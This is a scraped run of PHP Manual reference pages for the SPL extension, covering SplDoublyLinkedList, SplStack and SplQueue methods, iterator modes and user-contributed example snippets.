    • spl_object_hash — Return hash id for given object
  • File Handling
    • SplFileInfo — The SplFileInfo class
    • SplFileObject — The SplFileObject class
    • SplTempFileObject — The SplTempFileObject class
  • Miscellaneous Classes and Interfaces
    • ArrayObject — The ArrayObject class
    • SplObserver — The SplObserver interface
    • SplSubject — The SplSubject interface

User Contributed Notes

There are no user contributed notes for this page.
parsekit_func_arginfo
Introduction
Other Basic Extensions


Introduction

SPL is a collection of interfaces and classes that are meant to solve standard problems.

Note:

Legacy "doxygen" documentation can be found » here.

User Contributed Notes

There are no user contributed notes for this page.
SPL
Installing/Configuring
SPL


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
SPL


Installation

This extension is available and compiled by default in PHP 5.0.0.

Note:

As of PHP 5.3.0 this extension can no longer be disabled and is therefore always available.

User Contributed Notes

ajai at nospam dot bitblit dot net 19-Sep-2011 08:20
The spl USE flag in Gentoo is deprecated now - it is automatically switched on for PHP versions >= 5.3.
Jarno 18-Jan-2011 02:58
On Gentoo you need to have spl USE flag set.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Warning

SPL uses class constants since PHP 5.1. Prior releases use global constants in the form RIT_LEAVES_ONLY.

RecursiveIteratorIterator::LEAVES_ONLY (integer)
RecursiveIteratorIterator::SELF_FIRST (integer)
RecursiveIteratorIterator::CHILD_FIRST (integer)
CachingIterator::CALL_TOSTRING (integer)
CachingIterator::CATCH_GET_CHILD (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Datastructures
SPL


Datastructures

Table of Contents

  • SplDoublyLinkedList
  • SplStack
  • SplQueue
  • SplHeap
  • SplMaxHeap
  • SplMinHeap
  • SplPriorityQueue
  • SplFixedArray
  • SplObjectStorage

SPL provides a set of standard datastructures. They are grouped here by their underlying implementation which usually defines their general field of application.

Doubly Linked Lists

A Doubly Linked List (DLL) is a list of nodes linked in both directions to each others. Iterator's operations, access to both ends, addition or removal of nodes have a cost of O(1) when the underlying structure is a DLL. It hence provides a decent implementation for stacks and queues.

  • SplDoublyLinkedList
    • SplStack
    • SplQueue

Heaps

Heaps are tree-like structures that follow the heap-property: each node is greater than or equal to its children, when compared using the implemented compare method which is global to the heap.

  • SplHeap
    • SplMaxHeap
    • SplMinHeap
  • SplPriorityQueue

Arrays

Arrays are structures that store the data in a continuous way, accessible via indexes. Don't confuse them with PHP arrays: PHP arrays are in fact implemented as ordered hashtables.

  • SplFixedArray

Map

A map is a datastructure holding key-value pairs. PHP arrays can be seen as maps from integers/strings to values. SPL provides a map from objects to data. This map can also be used as an object set.

  • SplObjectStorage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
SplDoublyLinkedList
SPL


The SplDoublyLinkedList class

(PHP 5 >= 5.3.0)

Introduction

The SplDoublyLinkedList class provides the main functionalities of a doubly linked list.

Class synopsis

SplDoublyLinkedList implements Iterator , ArrayAccess , Countable {
/* Methods */
__construct ( void )
mixed bottom ( void )
int count ( void )
mixed current ( void )
int getIteratorMode ( void )
bool isEmpty ( void )
mixed key ( void )
void next ( void )
bool offsetExists ( mixed $index )
mixed offsetGet ( mixed $index )
void offsetSet ( mixed $index , mixed $newval )
void offsetUnset ( mixed $index )
mixed pop ( void )
void prev ( void )
void push ( mixed $value )
void rewind ( void )
void setIteratorMode ( int $mode )
mixed shift ( void )
mixed top ( void )
void unshift ( mixed $value )
bool valid ( void )
}

Table of Contents

  • SplDoublyLinkedList::bottom — Peeks at the node from the beginning of the doubly linked list
  • SplDoublyLinkedList::__construct — Constructs a new doubly linked list
  • SplDoublyLinkedList::count — Counts the number of elements in the doubly linked list.
  • SplDoublyLinkedList::current — Return current array entry
  • SplDoublyLinkedList::getIteratorMode — Returns the mode of iteration
  • SplDoublyLinkedList::isEmpty — Checks whether the doubly linked list is empty.
  • SplDoublyLinkedList::key — Return current node index
  • SplDoublyLinkedList::next — Move to next entry
  • SplDoublyLinkedList::offsetExists — Returns whether the requested $index exists
  • SplDoublyLinkedList::offsetGet — Returns the value at the specified $index
  • SplDoublyLinkedList::offsetSet — Sets the value at the specified $index to $newval
  • SplDoublyLinkedList::offsetUnset — Unsets the value at the specified $index
  • SplDoublyLinkedList::pop — Pops a node from the end of the doubly linked list
  • SplDoublyLinkedList::prev — Move to previous entry
  • SplDoublyLinkedList::push — Pushes an element at the end of the doubly linked list
  • SplDoublyLinkedList::rewind — Rewind iterator back to the start
  • SplDoublyLinkedList::setIteratorMode — Sets the mode of iteration
  • SplDoublyLinkedList::shift — Shifts a node from the beginning of the doubly linked list
  • SplDoublyLinkedList::top — Peeks at the node from the end of the doubly linked list
  • SplDoublyLinkedList::unshift — Prepends the doubly linked list with an element
  • SplDoublyLinkedList::valid — Check whether the doubly linked list contains more nodes

User Contributed Notes

rakesh dot mishra at gmail dot com 25-Jan-2011 05:17
Here is simple examples of SplQueue: -
<?php
echo "Create Object of Spl. Queue:";
$obj = new SplQueue();

echo "<br>Check for Queue is Empty:";
if($obj->isEmpty())
{
    $obj->enqueue("Simple");
    $obj->enqueue("Example");
    $obj->enqueue("Of");
    $obj->enqueue("PHP");
}

echo "<br>View queue:";
print_r($obj);

if(! $obj->offsetExists(4))
{
    $obj->enqueue(10);
}

print_r($obj);

echo "<br>Get the value of the offset at 3 ";
if($obj->offsetGet(3))
{
    echo $obj->offsetGet(3);

    echo "<br>Resetting the value of a node:";
    $obj->offsetSet(4,6);
}
?>
Datastructures
SplDoublyLinkedList::bottom
Datastructures


Peeks at the node from the beginning of the doubly linked list

SplDoublyLinkedList
SplDoublyLinkedList::__construct
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::bottom

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::bottom — Peeks at the node from the beginning of the doubly linked list

Description

mixed SplDoublyLinkedList::bottom ( void )

Parameters

This function has no parameters.

Return Values

The value of the first node.

Errors/Exceptions

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

rakesh dot mishra at gmail dot com 26-Jan-2011 10:39
<?php

/*
 * Examples of DoublyLinkedList
 */

$obj = new SplDoublyLinkedList();

// Check wither linked list is empty
if ($obj->isEmpty())
{
    echo "Adding nodes to Linked List<br>";
    $obj->push(2);
    $obj->push(3);

    echo "Adding the node at beginning of doubly linked list <br>";
    $obj->unshift(10);
}

echo "<br>Our Linked List:";
print_r($obj);

echo "<br>Pick the node from beginning of doubly linked list";
echo $obj->bottom();

?>
SplDoublyLinkedList
SplDoublyLinkedList::__construct
SplDoublyLinkedList


Constructs a new doubly linked list

SplDoublyLinkedList::bottom
SplDoublyLinkedList::count
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::__construct

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::__construct — Constructs a new doubly linked list

Description

SplDoublyLinkedList::__construct() ( void )

This constructs a new empty doubly linked list.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 SplDoublyLinkedList::__construct() example

<?php
$dll = new SplDoublyLinkedList();

$dll->push(2);
$dll->push(3);
$dll->unshift(5);

var_dump($dll);
?>

The above example will output:

object(SplDoublyLinkedList)#1 (2) {
  ["flags":"SplDoublyLinkedList":private]=>
  int(0)
  ["dllist":"SplDoublyLinkedList":private]=>
  array(3) {
    [0]=>
    int(5)
    [1]=>
    int(2)
    [2]=>
    int(3)
  }
}

User Contributed Notes

There are no user contributed notes for this page.
SplDoublyLinkedList::bottom
SplDoublyLinkedList::count
SplDoublyLinkedList


Counts the number of elements in the doubly linked list.

SplDoublyLinkedList::__construct
SplDoublyLinkedList::current
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::count

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::count — Counts the number of elements in the doubly linked list.

Description

int SplDoublyLinkedList::count ( void )

Parameters

This function has no parameters.

Return Values

Returns the number of elements in the doubly linked list.

User Contributed Notes

There are no user contributed notes for this page.
SplDoublyLinkedList::__construct
SplDoublyLinkedList::current
SplDoublyLinkedList


Return current array entry

SplDoublyLinkedList::count
SplDoublyLinkedList::getIteratorMode
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::current

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::current — Return current array entry

Description

mixed SplDoublyLinkedList::current ( void )

Get the current doubly linked list node.

Parameters

This function has no parameters.

Return Values

The current node value.

User Contributed Notes

rakesh dot mishra at gmail dot com 26-Jan-2011 11:18
<?php

/*
 * Examples of DoublyLinkedList
 */

$obj = new SplDoublyLinkedList();
// Check wither linked list is empty
if ($obj->isEmpty())
{
    echo "Adding nodes to Linked List<br>";
    $obj->push(2);
    $obj->push(3);
    echo "Adding the node at beginning of doubly linked list <br>";
    $obj->unshift(10);
}

echo "<br>Our Linked List:";
print_r($obj);

$curr = $obj->current(); // this will return NULL as we have not set initial node.

echo "<br> Rewinding the position so that current node points to first node ";
$obj->rewind();

echo "<br>Current node of the linked list:";
echo  $obj->current(); // this will print first node of the linked list.

echo "<br>Moving to Next node:";
$obj->next();

echo "<br>Printing the next node:";
echo $obj->current();

?>
SplDoublyLinkedList::count
SplDoublyLinkedList::getIteratorMode
SplDoublyLinkedList


Returns the mode of iteration

SplDoublyLinkedList::current
SplDoublyLinkedList::isEmpty
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::getIteratorMode

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::getIteratorMode — Returns the mode of iteration

Description

int SplDoublyLinkedList::getIteratorMode ( void )

Parameters

This function has no parameters.

Return Values

Returns the different modes and flags that affect the iteration.

User Contributed Notes

gregorypatmore at gmail dot com 11-Dec-2011 10:32
I think it should be noted that the IT_MODE_* constants are defined inside the class as:

IT_MODE_LIFO => int(2)
IT_MODE_FIFO => int(0)
IT_MODE_DELETE => int(1)
IT_MODE_KEEP => int(0)

With the FIFO and KEEP flags both defined as zero, you can run into an ambiguity when trying to discern what modes have been activated when trying to use bitwise deduction as one might be lead to believe considering the bitwise way you set the iterator mode (at least in v5.3.5, haven't tested any others).

Consider this example:

<?php

$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

$mode = $l->getIteratorMode(); #int(1)

var_dump(($mode & SplDoublyLinkedList::IT_MODE_FIFO) == SplDoublyLinkedList::IT_MODE_FIFO); #outputs true
var_dump(($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO); #outputs false
var_dump(($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE); #outputs true
var_dump(($mode & SplDoublyLinkedList::IT_MODE_KEEP) == SplDoublyLinkedList::IT_MODE_KEEP); #outputs true (huh?!)

?>

Regardless of whatever the getIteratorMode tells you, the object DOES correctly honor the configuration that was set as far as I can tell.

The way you SHOULD do it (at least until they add any more options):

Basically, you should just check the non-zero flags (LIFO(2) and DELETE(1)).  Since it's an either/or situation within the pairs, this should be able to help you figure out the separate mode pieces an instance has been set to.

example:

<?php
$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

$mode = $l->getIteratorMode();

$isLIFO = ($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO;

$isDELETE = ($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE;
?>

Hope this can help someone.
SplDoublyLinkedList::current
SplDoublyLinkedList::isEmpty
SplDoublyLinkedList


Checks whether the doubly linked list is empty.

SplDoublyLinkedList::getIteratorMode
SplDoublyLinkedList::key
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::isEmpty

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::isEmpty — Checks whether the doubly linked list is empty.

Description

bool SplDoublyLinkedList::isEmpty ( void )

Parameters

This function has no parameters.

Return Values

Returns whether the doubly linked list is empty.

User Contributed Notes

There are no user contributed notes for this page.
SplDoublyLinkedList::getIteratorMode
SplDoublyLinkedList::key
SplDoublyLinkedList


Return current node index

SplDoublyLinkedList::isEmpty
SplDoublyLinkedList::next
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::key

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::key — Return current node index

Description

mixed SplDoublyLinkedList::key ( void )

This function returns the current node index

Parameters

This function has no parameters.

Return Values

The current node index.

User Contributed Notes

There are no user contributed notes for this page.
SplDoublyLinkedList::isEmpty
SplDoublyLinkedList::next
SplDoublyLinkedList


Move to next entry

SplDoublyLinkedList::key
SplDoublyLinkedList::offsetExists
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::next

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::next — Move to next entry

Description

void SplDoublyLinkedList::next ( void )

Move the iterator to the next node.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplDoublyLinkedList::key
SplDoublyLinkedList::offsetExists
SplDoublyLinkedList


Returns whether the requested $index exists

SplDoublyLinkedList::next
SplDoublyLinkedList::offsetGet
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::offsetExists

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::offsetExists — Returns whether the requested $index exists

Description

bool SplDoublyLinkedList::offsetExists ( mixed $index )

Parameters

index

The index being checked.

Return Values

TRUE if the requested index exists, otherwise FALSE

User Contributed Notes

There are no user contributed notes for this page.
SplDoublyLinkedList::next
SplDoublyLinkedList::offsetGet
SplDoublyLinkedList


Returns the value at the specified $index

SplDoublyLinkedList::offsetExists
SplDoublyLinkedList::offsetSet
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::offsetGet

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::offsetGet — Returns the value at the specified $index

Description

mixed SplDoublyLinkedList::offsetGet ( mixed $index )

Parameters

index

The index with the value.

Return Values

The value at the specified index.

Errors/Exceptions

Throws OutOfRangeException when index is out of bounds or when index cannot be parsed as an integer.

User Contributed Notes

There are no user contributed notes for this page.
SplDoublyLinkedList::offsetExists
SplDoublyLinkedList::offsetSet
SplDoublyLinkedList


Sets the value at the specified $index to $newval

SplDoublyLinkedList::offsetGet
SplDoublyLinkedList::offsetUnset
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::offsetSet

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::offsetSet — Sets the value at the specified $index to $newval

Description

void SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval )

Sets the value at the specified index to newval.

Parameters

index

The index being set.

newval

The new value for the index.

Return Values

No value is returned.

Errors/Exceptions

Throws OutOfRangeException when index is out of bounds or when index cannot be parsed as an integer.

User Contributed Notes

There are no user contributed notes for this page.
SplDoublyLinkedList::offsetGet
SplDoublyLinkedList::offsetUnset
SplDoublyLinkedList


Unsets the value at the specified $index

SplDoublyLinkedList::offsetSet
SplDoublyLinkedList::pop
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::offsetUnset

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::offsetUnset — Unsets the value at the specified $index

Description

void SplDoublyLinkedList::offsetUnset ( mixed $index )

Unsets the value at the specified index.

Parameters

index

The index being unset.

Return Values

No value is returned.

Errors/Exceptions

Throws OutOfRangeException when index is out of bounds or when index cannot be parsed as an integer.

User Contributed Notes

marco dot paulo dot lopes at gmail dot com 31-May-2011 05:40
When unsetting an offset, the element will be removed from the double linked list. So the following code:

<?php

$obj = new SplDoublyLinkedList();

$obj->push(4);
$obj->push(5);
$obj->push(6);

$obj->offsetUnset(1);
echo "Our Linked List:";
print_r($obj);

?>

Will output:

Our Linked List:SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 4
            [1] => 5
            [2] => 6
        )

)
Our New Linked List:SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 4
            [1] => 6
        )

Notice that the element with the index 2 has now the index 1. The original element with index 1 did not only had it's value unset but was also removed from the list.
SplDoublyLinkedList::offsetSet
SplDoublyLinkedList::pop
SplDoublyLinkedList


Pops a node from the end of the doubly linked list

SplDoublyLinkedList::offsetUnset
SplDoublyLinkedList::prev
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::pop

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::pop — Pops a node from the end of the doubly linked list

Description

mixed SplDoublyLinkedList::pop ( void )

Parameters

This function has no parameters.

Return Values

The value of the popped node.

Errors/Exceptions

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

There are no user contributed notes for this page.
SplDoublyLinkedList::offsetUnset
SplDoublyLinkedList::prev
SplDoublyLinkedList


Move to previous entry

SplDoublyLinkedList::pop
SplDoublyLinkedList::push
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::prev

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::prev — Move to previous entry

Description

void SplDoublyLinkedList::prev ( void )

Move the iterator to the previous node.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplDoublyLinkedList::pop
SplDoublyLinkedList::push
SplDoublyLinkedList


Pushes an element at the end of the doubly linked list

SplDoublyLinkedList::prev
SplDoublyLinkedList::rewind
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::push

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::push — Pushes an element at the end of the doubly linked list

Description

void SplDoublyLinkedList::push ( mixed $value )

Pushes value at the end of the doubly linked list.

Parameters

value

The value to push.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplDoublyLinkedList::prev
SplDoublyLinkedList::rewind
SplDoublyLinkedList


Rewind iterator back to the start

SplDoublyLinkedList::push
SplDoublyLinkedList::setIteratorMode
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::rewind

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::rewind — Rewind iterator back to the start

Description

void SplDoublyLinkedList::rewind ( void )

This rewinds the iterator to the beginning.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplDoublyLinkedList::push
SplDoublyLinkedList::setIteratorMode
SplDoublyLinkedList


Sets the mode of iteration

SplDoublyLinkedList::rewind
SplDoublyLinkedList::shift
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::setIteratorMode

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::setIteratorMode — Sets the mode of iteration

Description

void SplDoublyLinkedList::setIteratorMode ( int $mode )

Parameters

mode

There are two orthogonal sets of modes that can be set:

  • The direction of the iteration (either one or the other):
    • SplDoublyLinkedList::IT_MODE_LIFO (Stack style)
    • SplDoublyLinkedList::IT_MODE_FIFO (Queue style)
  • The behavior of the iterator (either one or the other):
    • SplDoublyLinkedList::IT_MODE_DELETE (Elements are deleted by the iterator)
    • SplDoublyLinkedList::IT_MODE_KEEP (Elements are traversed by the iterator)

The default mode is: SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP

Return Values

No value is returned.

User Contributed Notes

gregorypatmore at gmail dot com 11-Dec-2011 11:15
Despite the seeming unrelated-ness between the FIFO/LIFO and the KEEP/DELETE option pairs, in respect to the behavior of setIteratorMode they are in some way linked.  Meaning, a second call to setIteratorMode will erase any previous settings even if they are from the other pair.  This, coupled with the default settings for the object (SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP), means you have to be careful or you can run into trouble

Consider the following example:

<?php
$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_DELETE);
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO);

$mode = $l->getIteratorMode();
var_dump("MODE: $mode");
var_dump("MODE CHECKS");
var_dump(($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO);
var_dump(($mode & SplDoublyLinkedList::IT_MODE_FIFO) == SplDoublyLinkedList::IT_MODE_FIFO);
var_dump(($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE);
var_dump(($mode & SplDoublyLinkedList::IT_MODE_KEEP) == SplDoublyLinkedList::IT_MODE_KEEP);

$l->push('A');
$l->push('B');
$l->push('C');
$l->push('D');
$l->rewind();

var_dump("Traversing");
var_dump($l->isEmpty());

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->isEmpty());

?>

Which outputs the following:
#############################
string(7) "MODE: 2"

string(11) "MODE CHECKS"
bool(true) #LIFO (ok)
bool(true) #FIFO (umm...wait a minute)
bool(false)#DELETE (houston... wtf)
bool(true) #KEEP (ok, where's the camera hidden)

string(10) "Traversing"
bool(false)

int(4)
string(1) "D"

int(4)
string(1) "C"

int(4)
string(1) "B"

int(4)
string(1) "A"

int(4)
bool(false)
#############################

Basically, you should just check the non-zero flags (LIFO(2) and DELETE(1)).  Since it's an either/or situation within the pairs, this should be able to help you figure out the separate mode pieces an instance has been set to.

example:

<?php
$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

$mode = $l->getIteratorMode();

$isLIFO = ($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO;

$isDELETE = ($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE;
?>

hope this helps someone.
pritiatwork at gmail dot com 07-Sep-2011 11:39
Usage of different Iterator Mode

<?php
$doubly=new SplDoublyLinkedList();
$doubly->push(array('name'=>'Naruto'));
$doubly->push(array('name'=>'Sakura'));
$doubly->push(array('name'=>'Neji'));
$doubly->push(array('name'=>'Sasuke'));
var_dump($doubly);
echo '<br/> FIFO Traversing<br/>';
$doubly->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP);
$doubly->rewind();
foreach($doubly as $key=>$value)
{
    echo '<br/>Traversed:'.$key.' '.$value['name'];
}
echo '<br/>LIFO Traversing - Keep mode <br/>';
$doubly->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO | SplDoublyLinkedList::IT_MODE_KEEP);
$doubly->rewind();
foreach($doubly as $key=>$value)
{
    echo '<br/>Traversed:'.$key.' '.$value['name'];
}

echo '<br/>LIFO Traversing - Delete mode <br/>';
$doubly->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO | SplDoublyLinkedList::IT_MODE_DELETE);
$doubly->rewind();

foreach($doubly as $key=>$value)
{
    if($key == 2) break;
    echo '<br/>Traversed:'.$key.' '.$value['name'];
}
var_dump($doubly);
?>

Output:

FIFO Traversing

Traversed:0 Naruto
Traversed:1 Sakura
Traversed:2 Neji
Traversed:3 Sasuke
LIFO Traversing - Keep mode

Traversed:3 Sasuke
Traversed:2 Neji
Traversed:1 Sakura
Traversed:0 Naruto
LIFO Traversing - Delete mode

Traversed:3 Sasuke
object(SplDoublyLinkedList)#1 (2) {
  ["flags":"SplDoublyLinkedList":private]=>
  int(3)
  ["dllist":"SplDoublyLinkedList":private]=>
  array(3) {
    [0]=>
    array(1) {
      ["name"]=>
      string(6) "Naruto"
    }
    [1]=>
    array(1) {
      ["name"]=>
      string(6) "Sakura"
    }
    [2]=>
    array(1) {
      ["name"]=>
      string(4) "Neji"
    }
  }
}
SplDoublyLinkedList::rewind
SplDoublyLinkedList::shift
SplDoublyLinkedList


Shifts a node from the beginning of the doubly linked list

SplDoublyLinkedList::setIteratorMode
SplDoublyLinkedList::top
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::shift

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::shift — Shifts a node from the beginning of the doubly linked list

Description

mixed SplDoublyLinkedList::shift ( void )

Parameters

This function has no parameters.

Return Values

The value of the shifted node.

Errors/Exceptions

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

There are no user contributed notes for this page.
SplDoublyLinkedList::setIteratorMode
SplDoublyLinkedList::top
SplDoublyLinkedList


Peeks at the node from the end of the doubly linked list

SplDoublyLinkedList::shift
SplDoublyLinkedList::unshift
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::top

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::top — Peeks at the node from the end of the doubly linked list

Description

mixed SplDoublyLinkedList::top ( void )

Parameters

This function has no parameters.

Return Values

The value of the last node.

Errors/Exceptions

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

There are no user contributed notes for this page.
SplDoublyLinkedList::shift
SplDoublyLinkedList::unshift
SplDoublyLinkedList


Prepends the doubly linked list with an element

SplDoublyLinkedList::top
SplDoublyLinkedList::valid
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::unshift

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::unshift — Prepends the doubly linked list with an element

Description

void SplDoublyLinkedList::unshift ( mixed $value )

Prepends value at the beginning of the doubly linked list.

Parameters

value

The value to unshift.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplDoublyLinkedList::top
SplDoublyLinkedList::valid
SplDoublyLinkedList


Check whether the doubly linked list contains more nodes

SplDoublyLinkedList::unshift
SplStack
SplDoublyLinkedList
PHP Manual

SplDoublyLinkedList::valid

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::valid — Check whether the doubly linked list contains more nodes

Description

bool SplDoublyLinkedList::valid ( void )

Checks if the doubly linked list contains any more nodes.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the doubly linked list contains any more nodes, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
SplDoublyLinkedList::unshift
SplStack
SplDoublyLinkedList


The SplStack class

(PHP 5 >= 5.3.0)

Introduction

The SplStack class provides the main functionalities of a stack implemented using a doubly linked list.

Class synopsis

SplStack extends SplDoublyLinkedList implements Iterator , ArrayAccess , Countable {
/* Methods */
__construct ( void )
void setIteratorMode ( int $mode )
/* Inherited methods */
mixed SplDoublyLinkedList::bottom ( void )
int SplDoublyLinkedList::count ( void )
mixed SplDoublyLinkedList::current ( void )
int SplDoublyLinkedList::getIteratorMode ( void )
bool SplDoublyLinkedList::isEmpty ( void )
mixed SplDoublyLinkedList::key ( void )
void SplDoublyLinkedList::next ( void )
bool SplDoublyLinkedList::offsetExists ( mixed $index )
mixed SplDoublyLinkedList::offsetGet ( mixed $index )
void SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval )
void SplDoublyLinkedList::offsetUnset ( mixed $index )
mixed SplDoublyLinkedList::pop ( void )
void SplDoublyLinkedList::prev ( void )
void SplDoublyLinkedList::push ( mixed $value )
void SplDoublyLinkedList::rewind ( void )
void SplDoublyLinkedList::setIteratorMode ( int $mode )
mixed SplDoublyLinkedList::shift ( void )
mixed SplDoublyLinkedList::top ( void )
void SplDoublyLinkedList::unshift ( mixed $value )
bool SplDoublyLinkedList::valid ( void )
}

Table of Contents

  • SplStack::__construct — Constructs a new stack implemented using a doubly linked list
  • SplStack::setIteratorMode — Sets the mode of iteration

User Contributed Notes

There are no user contributed notes for this page.
SplDoublyLinkedList::valid
SplStack::__construct
Datastructures


Constructs a new stack implemented using a doubly linked list

SplStack
SplStack::setIteratorMode
SplStack
PHP Manual

SplStack::__construct

(PHP 5 >= 5.3.0)

SplStack::__construct — Constructs a new stack implemented using a doubly linked list

Description

SplStack::__construct() ( void )

This constructs a new empty stack.

Note:

This method automatically sets the iterator mode to SplDoublyLinkedList::IT_MODE_LIFO.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 SplStack::__construct() example

<?php
$q = new SplStack();

$q[] = 1;
$q[] = 2;
$q[] = 3;

foreach ($q as $elem)  {
 echo $elem."\n";
}
?>

The above example will output:

3
2
1

User Contributed Notes

There are no user contributed notes for this page.
SplStack
SplStack::setIteratorMode
SplStack


Sets the mode of iteration

SplStack::__construct
SplQueue
SplStack
PHP Manual

SplStack::setIteratorMode

(PHP 5 >= 5.3.0)

SplStack::setIteratorMode — Sets the mode of iteration

Description

void SplStack::setIteratorMode ( int $mode )

Parameters

mode

There is only one iteration parameter you can modify.

  • The behavior of the iterator (either one or the other):
    • SplDoublyLinkedList::IT_MODE_DELETE (Elements are deleted by the iterator)
    • SplDoublyLinkedList::IT_MODE_KEEP (Elements are traversed by the iterator)

The default mode is 0x2 : SplDoublyLinkedList::IT_MODE_LIFO | SplDoublyLinkedList::IT_MODE_KEEP

Warning

The direction of iteration can no longer be changed for SplStacks. Trying to do so will result in a RuntimeException being thrown.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplStack::__construct
SplQueue
SplStack


The SplQueue class

(PHP 5 >= 5.3.0)

Introduction

The SplQueue class provides the main functionalities of a queue implemented using a doubly linked list.

Class synopsis

SplQueue extends SplDoublyLinkedList implements Iterator , ArrayAccess , Countable {
/* Methods */
__construct ( void )
mixed dequeue ( void )
void enqueue ( mixed $value )
void setIteratorMode ( int $mode )
/* Inherited methods */
mixed SplDoublyLinkedList::bottom ( void )
int SplDoublyLinkedList::count ( void )
mixed SplDoublyLinkedList::current ( void )
int SplDoublyLinkedList::getIteratorMode ( void )
bool SplDoublyLinkedList::isEmpty ( void )
mixed SplDoublyLinkedList::key ( void )
